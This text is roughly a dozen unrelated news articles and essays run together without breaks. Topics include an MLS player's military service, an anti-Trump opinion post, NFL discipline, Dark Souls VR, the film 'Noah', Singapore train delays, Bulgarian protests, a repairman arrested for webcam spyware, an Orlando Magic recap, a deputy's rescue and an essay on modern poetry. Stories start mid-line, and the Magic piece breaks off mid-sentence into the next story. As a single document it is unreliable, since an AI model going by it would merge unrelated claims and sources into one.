The Uniformed Services and Reemployment Rights Act protects Greenspan from any discrimination by MLS or Minnesota United for his military duty. Just because he misses practice to attend training does not mean he will automatically miss additional playing time.
To Greenspan and those on the team his service is probably “no big deal.” However, his potential to be away from the club as a Naval officer is just another factor for head coach Adrian Heath to consider as he builds the roster.
Brad Omland is a contributing writer for E Pluribus Loonum. He currently serves as Paralegal Specialist in the US Army Reserves. Follow him on Twitter for Minnesota sports updates and commentary: @bradradio.Donald Trump is basically a cartoon character. It’s amazing. It’s like someone took every stereotype of what is wrong with the neo-conservative usurpers of the Republican party, rolled them into man-shaped dough, and then raised that up on a Frankensteinian platform into a life-giving media shitstorm.
The worst part is that people are taking him seriously, and I’m convinced that it’s because neocon media has spent so much time highlighting issues that xenophobes care about that an actual xenophobe, running on literally nothing beyond a thin veneer of nationalism and the strange idea that the 50’s were gosh-darn wonderful, has emerged as a viable candidate and all the attention the media’s been giving those issues has made that seem, to some, normal.
The problem, of course, is that the gays, the sluts, and the illegals are empirically not wrecking our economy, and when studies arrive showing, for example, that immigrants (legal or not) pay sales and other taxes, often without drawing the associated benefits, the neocon ideologue must turn to anti-intellectualism as a defense.
Thus Trump, the candidate who embodies every ideal of the dim xenophobe.
Disagree? Agree? I wanna hear it. Drop a comment.While enormously lucrative, the National Football League is worried about sinking into a public perception dumpster fire. Roger Goodell’s latest perception management move makes this painfully obvious.
Emboldened by its “Deflategate” victory handed down by the 2nd Circuit Court of Appeals, the Commissioner’s Office has taken controversial actions to “protect the shield.” These came not in response to players violating league rules or conduct policies, but as proactive measures to craft public perception in the league’s favor.
Goodell demanded that four players named in an Al-Jazeera documentary meet with league officials, as part of the NFL’s ongoing investigation into the use of performance-enhancing drugs. Goodell gave all four players an ultimatum: show up by Aug. 25 or face suspension.
The fact is that the current collective bargaining agreement between the league and the NFL Players’ Association contains no language that explicitly gives the Commissioner’s Office the power to demand a player appear for an interview under threat of suspension without significant evidence that said player violated league policies.
Since the 2nd Circuit’s ruling, however, Goodell’s office seems to have carte-blanche license to ignore the CBA. That license was affirmed by all four players agreeing to the in-person interviews despite the league’s weak case against them.
Clay Matthews and Julius Peppers will be the first to meet with league officials, then Mike Neal and finally James Harrison. While all four initially refused Goodell’s threat, sending affidavits in lieu of appearing in-person, their eventual acquiescence to Goodell’s demand acts as further proof of the NFLPA’s powerlessness to hold Goodell to the terms of the current CBA.
Being named in the Al-Jazeera documentary is weak evidence of any violations–the NFL has made that clear. Former quarterback Peyton Manning was also named in the documentary, and investigated by the league. After the NFL concluded its investigation, the league announced that there was no credible evidence that Manning used any PEDs.
The Al-Jazeera documentary’s claims have been further weakened by the reporter and the source involved. Deborah Davies, the reporter involved, said that the documentary never alleged that Manning actually used HGH, but merely that several shipments of the drug were sent to Manning’s wife. The source, former Guyer Institute intern Charlie Sly, recanted all his claims in the film as well.
Thus we have a report that the NFL has stated has produced zero credible evidence of any wrongdoing thus far, debunked by the original source of the allegations, and clarified as being harmless by the reporter who put the piece together. Regardless, Goodell has used it as reason to flex his new muscles.
It isn’t that Goodell has zero reason to worry about PED usage in the league. Pro Bowl tight end Antonio Gates was suspended four games in 2015 for a positive test. Philadelphia Eagles offensive lineman Lane Johnson was recently suspended ten games for a positive test as well.
It’s unlikely that these interviews will turn up anything significant. There’s a strong chance that after the league concludes its investigation into these players, it will announce similar findings as it announced regarding Manning.
Whether or not any of these four players have ever used any PEDs isn’t the crucial matter in this situation, however. It’s the extent to which Goodell is willing to go to in order to create a public perception that favors the league.
There is a cost to all of this message-crafting and muscle-flexing. In 2020, the current CBA will expire. Through Deflategate, player angst over what they perceive to be team-friendly contracts, and discontent with the league’s drug policy, a rift has developed between the league and the NFLPA. These actions have only acted to speed the decay of that relationship as evidenced by the recent comments of the Pittsburgh Steelers’ Ramon Foster.
“It’s coming. They’ve hired certain people on their legal team, the NFL has, and we have to be the type of players and union that’s not borrowing money from banks and stuff like that to survive a lockout, a strike. That can’t happen this time around. We have to be smarter this time around because there are a lot of things we’re going to be fighting for and a lot of things they are going to want and we’re going to want, too.”
What is Goodell willing to ruin the relationship between the league and its players and risk a work stoppage for? Battling against the tide of negative perception in the public eye, it’s the lesser of two evils.
History has shown that fans are willing to forgive the cancellation of games and mistreatment of players. The NFL has a legal monopoly on professional football, and continually-rising revenues are proof that fans want their football regardless of when it comes or what cost it represents for those involved in bringing it to them.
What Goodell obviously believes that the league won’t survive, however, is a strongly- and widely-held public perception that the NFL is indifferent to the integrity of its product. The concussion drama and Deflategate are further evidence to this philosophy. The NFL has to present itself as obsessed with the integrity of its game above all else.
If games and the careers of players are the cost of avoiding the league turning into a public perception dumpster fire, that’s a cost that Goodell is willing to pay.
Main Photo:Share. There are planning documents that would "blow your head off.” There are planning documents that would "blow your head off.”
Dark Souls 2 director Yui Tanimura believes the Dark Souls universe is a good fit for virtual reality content, he told IGN in an interview via translator.
“This isn't something that we are looking into detail yet, or at least right now, but I agree that the world of Dark Souls 2 is something that has a very visceral element to it,” says Tanimura, in response to if Dark Souls virtual reality was something that developer From Software was experimenting with.
Exit Theatre Mode
“It’s mostly sort of on the realistic side, so I think that experience with the headset is something that would go well with Dark Souls as content,” Tanimura adds, agreeing when we mused that taking part in Souls combat using a VR headset in conjunction with motion controllers would be an outrageous experience.
While a remastered edition of Dark Souls 2 is heading to Xbox One and PlayStation 4 next year, he reveals that the new-generation hardware opens up new areas to explore with creating new enemies for future Souls titles.
Exit Theatre Mode
“Going forward in terms of future games in the series, there are definitely more possibilities in terms of new enemies that take advantage of the PlayStation 4 and Xbox One…,” he adds. “I’m sure its not a secret there are all kinds of possibilities for the future, especially with this new hardware and much expertise going forward. There are some planning documents that we have internally that would blow your head off.”
Dark Souls 2: Scholar of the First Sin is coming to Xbox One, PS4, PC, Xbox 360, and PS3 on April 7, 2015. The compilation includes Dark Souls 2, its three DLC packs, a higher count of enemies, different enemy placement, and an increased number of players allowed in multiplayer. Stayed tuned to IGN for more details on the Scholar of the First Sin.
Jenna Pitcher is a freelance journalist writing for IGN. You can follow her on Twitter.One of the first of many biblical-themed movies to flood the box office in 2014, Darren Aronofsky’s “Noah” is on track for a $35 million-plus Stateside opening later this month.
Insiders predict that the drama could gross upward of $40 million when it hits theaters on March 28, though Paramount is said to be estimating a lower $27.5 million to downplay expectations for the expensive production.
Paramount-New Regency’s $130 million biblical epic, starring Russell Crowe, has proven especially difficult to measure given the flurry of controversy it’s generated in the last couple of months among Christians — one of its targeted demographic groups.
The film, co-starring Jennifer Connelly, Anthony Hopkins and “Harry Potter” star Emma Watson, deviates from the Old Testament story of Noah’s Ark, forcing Paramount to add a recent disclaimer that the film doesn’t directly mirror the biblical tale.
“The film was made for believers and non-believers,” Aronofsky told Variety last week at an art exhibit promoting the film. “I’m more concerned about getting non-believers into the theater or people who are less religious. A lot of people are thinking, ‘Oh. I don’t want to go see a Bible movie,’ but we completely shook up all expectations and people will see that as soon as they sit down and watch the movie.”
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Opening less than a month before Easter Sunday (April 20), “Noah” has already been banned in several Middle Eastern countries, including Qatar, Bahrain and the United Arab Emirates, on religious grounds. Egypt, Jordan and Kuwait are expected to follow suit.
So far, biblical-themed films are having a good year at the box office.
Earlier this month, Fox’s “Son of God” kicked off this year’s uncommonly large slate of religious wide releases when it opened in theaters to a strong $26 million. The film, based on the five-part History channel miniseries from producers Mark Burnett and Roma Downey, clearly appealed to underserved faith-based audiences.
“Noah” could draw the same group of theatergoers. A recent Fandango poll of 1,000 costumers found that 76% of the people who bought advanced tickets to “Son of God” planned to see “Noah” as well. A whopping 94% also claimed they want to see more biblical stories on the big screen.
The Big Picture
Unlike Fox’s marketing, which aggressively targeted the faith-based community (Burnett and Downey reached out to Christian and Jewish groups in a grassroots campaign and church groups bought tickets in bulk to organize group outings and theater take-overs), Paramount has reached out to religious groups and the pope, but is taking a broad marketing approach, including a Super Bowl spot.
With the director of arthouse smashes “The Black Swan” and “Requiem for a Dream” behind the camera, the film could draw a more diverse audience than purely religiously targeted films.
Its current projections have the film grossing more than $100 million total at the domestic box office, although insiders suggest the film needs stronger reviews if it wants to wrangle more moviegoers.
The biblical saga, which will have a hard time matching “The Passion of the Christ’s” epic $612 million worldwide gross (or even $371 million domestic), will soon be joined by other religious-themed movies at the box office. Randall Wallace’s Christian drama starring Greg Kinnear and produced by T.D. Jakes, “Heaven Is for Real,” will be released by TriStar next month and Fox opens Ridley Scott’s Moses pic starring Christian Bale, “Exodus,” before Christmas.
Aronofsky said it was a boat, not its religious predecessors, that persuaded the studio to finance the feature.
“I said, it’s at least the second most famous boat if not the most famous boat after the Titanic,” the director laughed. “That was my pitch.”SINGAPORE - Normal service on the East-West Line resumed at 11.30am on Thursday (Oct 27), three hours after it was affected by a track fault at Bugis, with commuters experiencing delays and slower trains due to congestion during the morning peak.
This is the fourth disruption in a week for the East-West MRT line.
SMRT explained on its Facebook page at 11.55am that the train service was delayed "due to a track circuit fault" near Bugis station at 8.10am. It also stated that trains "travelled at a slower speed over the affected stretch" and "some westbound trains were turned around to ease congestion during the morning peak".
According to SMRT, engineers were only able to assess the fault after the morning peak at 10.55am as "track access is required for inspection".
SMRT first tweeted about the track fault at 8.43am, saying that commuters should allow for 15 minutes of additional travel time from Pasir Ris to Bugis stations towards Joo Koon and that the train service was still available.
[EWL]: Due to a track fault, pls add 15 mins travel time from #PasirRis to #Bugis towards #JooKoon. Train service is still available. — SMRT Corporation (@SMRT_Singapore) October 27, 2016
It tweeted again 22 minutes later to advise of an additional 20-minute delay along the East-West Line from Pasir Ris to Joo Koon.
[EWL]UPDATE:Pls add 20 mins travel time from #PasirRis towards #JooKoon,due to a track fault at #Bugis. Train svc is still available — SMRT Corporation (@SMRT_Singapore) October 27, 2016
A few minutes later, the additional travel time was updated to 25 minutes.
[EWL]UPDATE:Pls add 25 mins travel time from #PasirRis towards #JooKoon,due to a track fault at #Bugis. Train svc is still available — SMRT Corporation (@SMRT_Singapore) October 27, 2016
Commuters mentioned that the delay took longer than the announced time, while another commented that the train "stops every minute".
it's clearly not 15 mins delay. I took the train at 825 (Tampines) and now am not even at bugis yet. — Seeking Returns (@seekingreturns) October 27, 2016
Haha i left the house early.Then at first SMRT announced Pasir Ris - Bugis +10 min so I stayed on, but end up +30 min 😹😭 — nata (@natashiwaa) October 27, 2016
The train stops every minute due to fault. At this rate I'll reach school 2hrs late. #smrt — Dn.Hz (@D4NH3Z) October 27, 2016
Thank you #smrt for stopping every other minute due to "track fault" — Mag Tan (@magchiff) October 27, 2016
Some commuters commented on the repeated breakdowns.
Recently getting lot of track issue all the lines. Very bad ( Have to improve) — Siva (@Siva150178) October 27, 2016
yesterday evening train fault. Today train fault again. — Xender (@Xenderator) October 27, 2016
delay again. Standard operating procedure now i guess. More than 25 mins claim. — yqgoh (@GohYiQian) October 27, 2016
A commuter also complained of being stuck in the train for almost 30 minutes.
At 10.26am, SMRT tweeted to announce an additional 15 minutes travel time from Pasir Ris to Bugis towards Joo Koon.
[EWL]Update:Due to a track fault, pls add 15 mins travel time from #PasirRis to #Bugis towards #JooKoon. Train service is still available. — SMRT Corporation (@SMRT_Singapore) October 27, 2016
The additional travel time was reduced to 10 minutes at 10.47am.
[EWL]UPDATE:Due to a track fault near #Bugis, pls add 10 mins travel time from #PasirRis towards #JooKoon. Train svc is still available. — SMRT Corporation (@SMRT_Singapore) October 27, 2016
At 11.06am, additional travel time on the East-West Line towards Joo Koon was five minutes.
[EWL]UPDATE:Due to a track fault near #Bugis, pls add 5 mins travel time from #PasirRis towards #JooKoon. Train svc is still available. — SMRT Corporation (@SMRT_Singapore) October 27, 2016
At 11.45am, SMRT announced that the fault had been cleared and train service was running normally on the East-West Line.It’s been three weeks. Determined anti-government protests rock the Bulgarian capital Sofia for the second time this year. Thousands of young professional men and women – conspicuously silent during the difficult years before – gather every day in front of the National Assembly, still bearing the poignant motto “Union makes strength” above its tomato-splattered door.
They are here to express their outrage at the collusion of state and organized crime, at the brazen brutality with which the current vexed coalition government headed by Plamen Oresharski (and, in fairness, those before it) attempted to vote in monopoly-enabling laws and shelter known criminals from prosecution. For many of these protesters, Bulgaria is back to square one – exactly where it was 23 years ago, emerging from decades of Communist rule with a completely compromised political system and a humiliating poverty rating. This may well be true, and here’s why:
The democratic changes in Bulgaria, as part of the East European awakening of the early 90s, were preceded by 45 years of Communist rule, which effectively eradicated any traces of a free and functional political culture on a citizen level. Elections were staged; government was everywhere, listening to your very thoughts. Government was, in effect, the enemy. Bulgarians welcomed the 21st century believing in the very impossibility of good, honest governance.
Moreover, the nation didn’t crash into Communism with a positive experience of statehood. Bulgarian culture is, if anything, largely stateless – Bulgarians formed as a nation under the Ottoman Empire – for obvious reasons the state represented something you largely hid from, circumnavigated and/or outright resented. Bulgarian identity was practically established in opposition of official, lawful powers. In the aftermath of yet another Russo-Turkish war in 1878 Bulgarians were liberated and had to form a state after 500 years of no political representation. Elites had to be more or less artificially constructed. Kings were simply imported from the small German nobility, struggling with something as basic as the language for decades.
Bulgarians, in turn, struggled with the idea of genuine representation and the concept of elections. And never really got it right – comparing chronicles of pre-election vote buy-outs and mass intimidation from the 1880s and news reports from this year’s snap elections will show chilling similarities.
For ordinary Bulgarians, the state continued to be a foreign body, an intruder into a very local, privatized view of human existence. The first part of the 20th century was marked by five ruinous wars (including WWI and WWII) that didn’t do anything to bolster the faith of Bulgarians in political leadership, at least in terms of its concern with the actual population. In the 40s, huge parts of Bulgaria were still largely without electricity and modern plumbing. Subsistence farming and tuberculosis were the everyday realities of most rural communities.
And these were the people who felt oppressed and welcomed the Communist coup of 1944. They were promised free healthcare and education, running water and enough food. They got these things. But they also got the USSR directing the Bulgarian government’s every move. Again, the idea that you cannot meaningfully influence anything but your immediate family’s welfare was firmly reinforced in Bulgarian public culture.
Then the Berlin Wall fell. And suddenly, Bulgaria had a new host of foreign powers to please – NATO, the European Union, the International Monetary Fund. All meaningful political power seemed ultimately derived from somewhere else, far above, far beyond the embattled, desperately maintained conceptual borders of Bulgarian identity. An identity based on the perception that statehood is ultimately a foreign, superimposed entity that besieges a community of tacit endurance.
Well, in the year 2013, the tacit endurance seems to have finally been exhausted. Bulgarians are on the street, sneering, contemptuous, quietly, yet articulately angry at their entire political class, ready to defy any and all governments, it seems. They toppled one in February, and then voted the same party back in Parliament not two months later, now they demand the resignation of a coalition government that is not yet three months old.
Is the centuries-old allergy towards governance finally acting up? Is the entire state structure in Bulgaria delegitimized beyond salvage? At the moment, many Bulgarians, sipping “protest coffee” each morning in front of a bored-looking police cordon and making fun of any MP who dares to peer out behind the heavy curtains of Parliament will tell you: “Just so.”
Maria Spirova
Maria Spirova is an award-winning Bulgarian journalist with over 10 years of agency and long-form experience."While he had physical access to the computers, he would install a spyware-type application that allowed him remote access to the user’s computer and webcam," Goodrich said.
Harwell went to elaborate lengths to ensure that he got lurid images, even convincing users through system messages that they needed to take their computers into steamy environments, such as near their showers, Goodrich said.
Trevor Harwell, 20, a technician for Rezitech Inc., provided home computer services to users with Macintosh computers, said Fullerton Police Sgt. Andrew Goodrich.
A computer repairman was arrested Wednesday for allegedly planting spyware on dozens of computers he fixed and remotely taking hundreds of photos of women in their homes partially clothed or naked.
He also would work on friends' computers.
"Once he had access, he would take photographs of the users, usually women," Goodrich said. "Often, the female victims were undressed or changing clothes."
He said Harwell then stored the photos on a remote server and eventually downloaded them to his own computer.
The department estimated that hundreds of thousands of images were collected as part of the investigation, and they are seeking out victims.
The lurid repair ploy first came to light last summer when a Fullerton resident contacted police about suspicious messages appearing on his daughter's computer, Goodrich said.
One message mimicked the appearance of a system message and read: "You should fix your internal sensor soon. If unsure what to do, try putting your laptop near hot steam for several minutes to clean the sensor."
The message led many victims to take their laptops into the bathroom while taking a shower, Goodrich said.
Harwell serviced computers in Los Angeles and Orange counties. Fullerton police say they have documented numerous victims, all of them women.
Still images, videos and cellphone videos of women taken surreptitiously were all seized from Harwell’s computer.
Harwell was a student at Biola University at the time but no longer attends the school. Goodrich said many of the victims attended the university.
Harwell used a program called Camcapture that was installed on the victims' hard drives, Goodrich said.
Detectives also believe Harwell may have exploited Macintosh computers that were connected to Biola's internal network. The sergeant said potential victims should search the "/Library/WebServer Documents" directory for the Camcapture program.
Fullerton police are working with Biola's public safety department and the Los Angeles County Sheriff’s Department on the investigation. Anyone who suspects she may be a victim is asked to contact Fullerton Det. Kathryn Hamel at (714) 738-5327.
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-- Richard WintonPORTLAND, Ore. — The Orlando Magic reached a milestone of sorts with their game Wednesday night against the Portland Trail Blazers.
The matchup against Damian Lillard, CJ McCollum and the Blazers was the final game of the first full month of the Magic’s 2017-18 season.
So let’s take a look at some of the highs and lows of the Magic’s season so far, 14 games in.
Best team performance
The Magic have posted several quality wins already, but none of them was more impressive than their 114-93 blowout road victory over the Cleveland Cavaliers on Oct. 21. Orlando never trailed and built a 37-point lead against |
Los Angeles County Sheriff's Deputy Jenna Underwood Nunez saved a 17-year-old boy from drowning on April 27, 2013, in Silverwood Lake. She was 5.5 months pregnant and off duty at the time of the rescue. Lolita Lopez reports on May 2, 2013. (Published Saturday, May 4, 2013)
A 17-year-old boy will celebrate his high school graduation month thanks to a 5.5-month pregnant, off-duty Los Angeles County Sheriff’s deputy who rescued him from the bottom of a lake.
Deputy Jenna Underwood-Nunez was having dinner with her family in the Silverwood Lake campground in San Bernardino County when she heard screaming coming from the lake. A glance toward the water revealed frantic splashing about 200 yards away from the shore.
Authorities revealed the details of their colleague’s harrowing April 27 rescue on Thursday.
“Placing herself and her unborn child at potential risk, Deputy Underwood sprang into action and immediately ran toward the drowning victim,” Underwood’s department said a statement.
Fully dressed, Underwood swam about 200 yards into the water to find the teen had already become fully submerged 15 feet below the surface. He was laying on lake bed.
Underwood dove to the bottom, pulled the victim up and then to shore, where she performed four cycles of CPR before the teen regained consciousness.
The boy was airlifted to the hospital and is expected to make a full recovery.
A six-year veteran of the force, Underwood works at the Century Regional Detention Facility.There are certain things in which mediocrity is intolerable: poetry, music, painting, public eloquence. —La Bruyère
I am not about to say of poetry, as Marianne Moore once did, that “I, too, dislike it,” for not only has reading poetry brought me instruction and delight but I was taught to exalt it. Or, more precisely, I was taught that poetry was itself an exalted thing. No literary genre was closer to the divine than poetry; in no other craft could a writer soar as he could in a poem. When a novelist or a dramatist wrote with the flame of the highest inspiration, his work was said to be “touched by poetry”—as in the phrase “touched by God.” “The right reader of a good poem,” said Robert Frost, “can tell the moment it strikes him that he has taken an immortal wound—that he will never get over it.” Such quasi-religious language to describe poetry was not unusual; not so long ago, it was fairly common. “The function of poetry,” wrote Robert Graves, “is religious invocation of the Muse; its use is the experience of mixed exaltation and horror that her presence excites.”
Both these quotations and several others in the same spirit are to be found at the back of Oscar Williams’s A Little Treasury of Modern Poetry (revised edition), a small stout volume that has something of the look and heft of a missal or other religious tome. Even Delmore Schwartz, not a man noted for heightened rhetoric or empty ecstasy, referred to the poet as “a kind of priest.” To those for whom literature, and culture generally, came increasingly to stand in as a substitute for religion, poetry—and modern poetry specifically—was High Church.
The copyright date on my edition of Oscar Williams’s anthology is 1950, and it was during the 1950’s that poetry last had this religious aura. Many of the high priests of the cult—T. S. Eliot and Wallace Stevens, Robert Frost and William Carlos Williams, E. E. Cummings and W. H. Auden—were still alive and still writing, even if the best of their work was already behind them. The audience for poetry was then less than vast; it had diminished greatly since the age of Browning and Tennyson. In part this was owing to the increased difficulty of poetry, of which T. S. Eliot, in 1921, had remarked: “It appears likely that poets in our civilization, as it exists, at present, must be difficult.” Eliot’s justification for this difficulty—and it has never seemed quite persuasive—is that poetry must be as complex as the civilization it describes, with the modern poet becoming “more comprehensive, more allusive, more indirect.” All this served to make the modern poet more exclusive as well, which, for those of us who adored (a word chosen with care) modern poetry, was quite all right. Modern poetry, with the advance of modernism, had become an art for the happy few, and the happy few, it must be said, are rarely happier than when they are even fewer.
But such snobbish considerations aside, the generations of poets between W. B. Yeats (1865-1939) and W. H. Auden (1907-1973) produced an impressive body of poetry—of the kind that, in Frost’s phrase, really does make “an immortal wound”; once read, it never is quite forgotten. Nor were all of these poets imposingly difficult: Yeats isn’t, nor is Robert Frost. The most difficult poems of all, the Cantos of Ezra Pound, seem over the years to have slipped outside the canon of great modern poetry and to be thought instead the interesting fragments of a great cultural impresario—the Diaghilev of modernist poetry—who finally flipped, betraying both his country and himself. These poets did not, except occasionally, teach. Occupationally, they ranged from physician (William Carlos Williams) to editor (Marianne Moore) to insurance executive (Wallace Stevens); in personal style, from traditionally formal (T. S. Eliot) to bohemian (E. E. Cummings) to suicidally desperate (Hart Crane). But for all their variety, no one would ever think to describe them as academic.
They were, however, the first living poets to be given the full academic treatment. Their works were dissected in classrooms, the intellectual quarterlies ran solemn essays about them even while continuing to run their poems, book-length crititical studies about them began to be written and continue to be written even now. Their fame was neither of the general nor of the wealth-producing kind that Ernest Hemingway and William Faulkner knew—though T. S. Eliot was an international celebrity—but within the circumambience of the university they were revered. No body of critical writing produced during this period was more efficacious than that of T. S. Eliot, whose essays could affect the reputation—“the place in the canon,” as academics now put it—of writers born three hundred years earlier. In the view of F. R. Leavis, Eliot, along with Samuel Johnson, Coleridge, and Matthew Arnold, is one of the four great English literary critics, yet without the authority lent his criticism by his poetry, it is plain that Eliot’s critical power would have been nowhere near so great.
But the clearest evidence of the reverence in which these poets were held is found in the way they were worshipped by the generation of poets, or at least those in America, who followed them. Randall Jarrell, Robert Lowell, John Berryman, Delmore Schwartz not only wrote some of the most brilliant essays on their immediate poetic forebears, but in their lives they tended to be obsessed with them. The young Robert Lowell set up a tent on the lawn of the home of Allen Tate, to learn at the feet of one of his masters. Delmore Schwartz viewed T. S. Eliot as a culture hero, pure though not so simple, and his letters and conversation were filled with references to Eliot. Randall Jarrell, after writing about Wallace Stevens’s latter-day weaknesses, capped his criticism with the thought that Stevens was “one of the true poets of our century, someone whom the world will keep on reading just as it keeps on listening to Vivaldi or Scarlatti, looking at Tiepolo or Poussin.”
Jarrell, Lowell, Berryman, Schwartz, as anyone who has read much about them cannot mistake, were all immensely ambitious men. Had their ambitions been applied to business or politics or perhaps anything other than careers in poetry—and all four were the most careful caretakers of their careers—they might not have ended as sadly as they did: in repeated mental breakdown, alcoholism, early death, and suicide. I believe poetry was implicated in their disastrous lives in that they had set out to forge brilliant careers like those of their predecessors and knew that, for a complex of reasons, they could not make it. Jarrell wrote an essay entitled “The Obscurity of the Poet,” which he claimed had to be surmounted if civilization were to carry on, and another entitled “The Taste of the Age,” which he found trashy. Delmore Schwartz wrote essays on “The Isolation of Modern Poetry,” “The Vocation of the Poet,” “Views of a Second Violinist, Some Answers to Questions about Writing Poetry,” and “The Present State of Poetry,” a state that he thought, to put it gently, uninspiring. The main modernist poets had written with assurance in their bones, as if they knew their worth and knew that posterity would one day know it, too. But the poets who came after them were less sure; they knew something had gone wrong. And they were right. It had.
_____________
Before I attempt to get at what I believe has happened, perhaps I ought to describe what I think is the situation of contemporary poetry. Pressed to formulate this situation in a single sentence, I should write: contemporary poetry in the United States flourishes in a vacuum. Today there are more than 250 universities with creative-writing programs, and all of these have a poetry component, which means that they not only train aspiring poets but hire men and women who have published poetry to teach them. Many of these men and women go from being students in one writing program to being teachers in another—without, you might say, their feet, metrical or anatomical, having touched the floor. Many colleges and universities that do not have formal writing programs nonetheless hire poets to teach a creative-writing course or two; and the course in writing poetry has also become a staple of the community-college and adult-education menu. None of this puts poets up there with the Helmsleys and the Trumps, but it has made it possible for a large number of poets—and more than 6,300 poets and other writers are listed in the most recent edition of the Directory of American Poets and Fiction Writers—to earn their living in work closely connected with their craft. Such work, thirty or so years ago, was available only to a small handful of poets, and these of the highest stature.
Robert Frost, when in his eighties and a great draw on the poetry-reading circuit, thought it a good thing that poets had become teachers “in a thousand, two thousand colleges,” and added that colleges and universities gave poets “the best audiences poetry ever had in this world.” Writing in 1985, in an essay entitled “The Poetry Reading: Public Performance/Private Act,” the poet Donald Hall noted: “In the past thirty years, the poetry reading, which used to be rare, has become the chief form of publication for American poets. Annually, hundreds of thousands of listeners hear tens of thousands of readings.” The great majority of these take place on college campuses, but many others are given at such cultural centers as the 92nd Street Y in New York, the Poetry Center at the Art Institute in Chicago, the International Poetry Forum in Pittsburgh, not to mention various churches, synagogues, bars, art galleries, bookstores, and other public forums. Donald Hall reminds us that such poets as Vachel Lindsay, Carl Sandburg, and Robert Frost were giving readings in the 20’s and 30’s, but it was Dylan Thomas, in the late 40’s and early 50’s, who by providing quite beautiful performances and the added attraction of outrageous behavior really put poetry reading on the cultural map.
Poetry readings can draw anywhere from a pathetic handful of bedraggled students to a tony audience of several hundred. The fame of the poet is decisive. Fame, too, determines fees. Donald Hall, in 1985, claimed that a standard good fee for a reading was $1,000, though most poets, I suspect, accept a good deal less, while others—Allen Ginsberg, Adrienne Rich, John Ashbery—can command more. James Dickey claimed to have received as much as $4,500 for a reading. Sometimes two or three nearby colleges will invite a poet to read at each of their institutions, and the poet will pick up two or three fees while the colleges share the cost of a single airplane ticket. Intramurally, there are arguments about whether readings are corrupting to poets. Some claim that reading too frequently can make a poet tend to compose simpler, jokier poems that can be readily understood by an audience, whereas complex poems—imagine hearing Wallace Stevens’s “Le Monocle de Mon Oncle” without ever having read it—do not, so to say, play well at readings. Yet readings have helped many poets who do not have, or want, teaching jobs to keep going financially. Readings, too, are often the only payment in the coin of the realm of the ego that they ever receive, for the printed work of poets, sometimes including poets who have been at it a long while, often gets hardly any response at all in the way of reviews or even letters from readers.
No one keeps very precise records on such matters, but the general sense is that more poetry is currently being published than ever before. Poets are not being all that widely published by the major trade houses of New York and Boston, though almost all of them do publish some contemporary poets. Many university presses have begun to issue books of poetry, and some have been doing so for years. (Howard Nemerov, our new poet laureate, has been published by the University of Chicago Press for as long as I can remember.) What have come to be called the “small presses” also publish a fairly large amount of poetry. Some of these—David R. Godine of Boston, for example, or North Point Press of Berkeley—aren’t as small as all that, but others, which carry such names as Dragon Gate or Aralia Press, truly are. The best general answer to the question of how well these books of poetry sell is probably “not very.” It used to be said that the only serious poet in America who was ever able to live off the sale of his work was Robert Frost, but according to Donald Hall, even Frost was able to do so only at the end of his life.
Yet there is no shortage of outlets for poetry. The New Yorker publishes it, most of the literary monthlies and quarterlies do; Poetry, founded by Harriet Monroe in 1912, rolls along. And beyond such publications are the many little magazines that print vast quantities of poetry. The circulation of these magazines is often not in the thousands but in the hundreds. Almost all of them would go under without subsidization. So numerous are the little magazines that there exists an organization—an “umbrella organization,” in the bureaucratic phrase—called The Coordinating Council for Literary Magazines. It, too, is heavily subsidized, in good part by the National Endowment for the Arts. Sometimes it seems as if there isn’t a poem written in this nation that isn’t subsidized or underwritten by a grant either from a foundation or the government or a teaching salary or a fellowship of one kind or another.
And so, as the disc jockeys say, the beat goes on. The pretense is that nothing is wrong, that business is proceeding pretty much as usual. There are today, for example, prizes galore: Pulitzers and Lamonts and National Book Critics Circle and Yale Younger Poets and Rome Fellowships of the American Academy and Institute of Arts & Letters and Guggenheims and National Endowment for the Arts Fellowships and Library of Congress Consultantships and the Lilly Prize and now a national poet laureate and even—how he, most ambitious of poets, would have wryly smiled at the news—a Delmore Schwartz Memorial Award. Poets regularly parade as spokesmen and -women for their ethnic group or race or political tendency. Some few poets—Robert Penn Warren, perhaps Richard Wilbur is soon to arrive at this position—have more medals than Baron von Richthofen.
No shortage, then, of honors, emoluments, publication possibilities, opportunities to garner public adulation. In such ways may contemporary poetry be said to be flourishing.
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But what of the vacuum? I should say that it consists generally of this: that however much contemporary poetry may be honored, it is, outside a very small circle, scarcely read. Contemporary poetry is no longer a part of the regular intellectual diet. People of general intellectual interests who feel that they ought to read or at least know about works on modern society or recent history or novels that attempt to convey something about the way we live now, no longer feel the same compunction about contemporary poetry. The crowds in London once stood on their toes to see Tennyson pass; today a figure like Tennyson probably would not write poetry and might not even read it. Poetry has been shifted—has shifted itself?—off center stage. Literarily, poetry no longer seems in any way where the action is. It begins to seem, in fact, a sideline activity, a little as chiropractic or acupuncture is to mainstream medicine—odd, strange, but with a small cult of followers who swear by it.
One might counter that poetry was in a similar state when the modernist poets set out on their ambitious artistic adventure. They published their work in magazines read only by hundreds; their names were not known by most members of the educated classes; their following, such as it was, had a cultish character. But beyond this nothing else seems comparable. Propelling the modernist poets was a vision, and among some of them a program—a belief that the nature of life had changed fundamentally and that artists now had to change accordingly. Free verse, fragmented syntax, radical disjunctions, slangy diction, the use of subjects before then thought poetically impossible—these were among the techniques and methods employed by the modernist poets. New, too, was their attitude toward the reader, whom they, perhaps first among any writers in history, chose in a radical way to disregard. They weren’t out to épater. If what they wrote was uncompromisingly difficult, they did not see this as their problem. They wrote as they wrote; as for their difficulty, the question was whether or not, in Henry James’s phrase, theirs was “the difficulty that inspired.” By that phrase I take James to have meant difficulty of a kind that inspires one to surmount it because one senses the reward to be eminently worthy of the struggle. Somehow, through the quality of their writing, the authority of the sacrifices they made for their art, the aura of adult seriousness conveyed in both work and life, the modernist poets won through. Theirs was the difficulty, ours the inspiration.
Whereas one tended to think of the modernist poet as an artist—even if he worked in a bank in London, or at an insurance company in Hartford, or in a physician’s office in Rutherford, New Jersey—one tends to think of the contemporary poet as a professional: a poetry professional. Like a true professional, he is rather insulated within the world of his fellow-professionals. The great majority of poets today live in an atmosphere almost entirely academic, but it is academic with a difference: not the world of science and scholarship but that of the creative-writing program and the writing workshop. (Everything that has gone wrong with the world since World War II, Kingsley Amis once noted, can be summed up in the word “workshop.”) The poets who have come out of this atmosphere are oddly positioned both in academic life and in the world at large; they are neither wholly academics nor wholly artists. They publish chiefly in journals sheltered by universities, they fly around the country giving readings and workshops at other colleges and universities. They live in jeans yet carry a curriculum vitae. I have seen scores of such curricula, and they tend to run along the following lines:
